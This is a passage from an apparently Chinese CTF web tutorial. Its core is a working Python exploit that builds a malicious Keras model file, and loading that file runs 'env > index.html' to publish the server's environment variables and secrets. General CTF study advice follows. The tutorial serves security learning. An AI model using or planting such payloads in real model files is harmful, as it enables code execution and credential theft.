13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
import os

model_name = "model.keras"

x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name, "r") as f:
config = json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
"name": "mvlttt",
"layers": [
{
"name": "mvlttt",
"class_name": "function",
"config": "Popen",
"module": "subprocess",
"inbound_nodes": [{"args": [["bash", "-c", "env > index.html"]], "kwargs": {"bufsize": -1}}]
}],
"input_layers": [["mvlttt", 0, 0]],
"output_layers": [["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)

with zipfile.ZipFile(model_name, "a") as zf:
zf.writestr("config.json", json.dumps(config))

print("[+] Malicious model ready")

直接刷新index.html即可

尾声

看完全部内容之后,然后可能发现还是不会做题或者遇到一些根本没见过的,这就体现了Web特色了,直接上网搜然后现场做需求,对于很多题目来说就是这样的

然后可以多看看最新的CVE,有些题目会直接出这样一个漏洞然后你网上可能找到个POC就可以跟着做了

代码审计能力很重要,特别是对于各种调用关系,即调用链要分析清楚,这对于做给陌生库的题目来说是很重要的

记得也学学Golang、Java、JavaScript和Rust